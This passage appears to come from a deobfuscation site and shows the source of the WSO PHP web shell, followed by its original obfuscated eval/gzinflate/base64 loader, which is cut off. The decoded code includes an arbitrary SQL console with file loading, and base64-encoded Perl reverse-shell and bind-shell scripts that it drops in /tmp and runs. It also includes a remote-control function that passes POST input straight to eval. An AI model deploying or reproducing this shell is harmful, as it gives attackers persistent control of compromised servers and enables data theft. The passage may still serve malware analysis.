$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect [perl]</span><br/>Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>";
if(isset($_POST['p1'])) {function cf($f,$t) {$w = @fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1'] == 'bpp') {cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'Home';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>
Did this file decode correctly?
Original Code
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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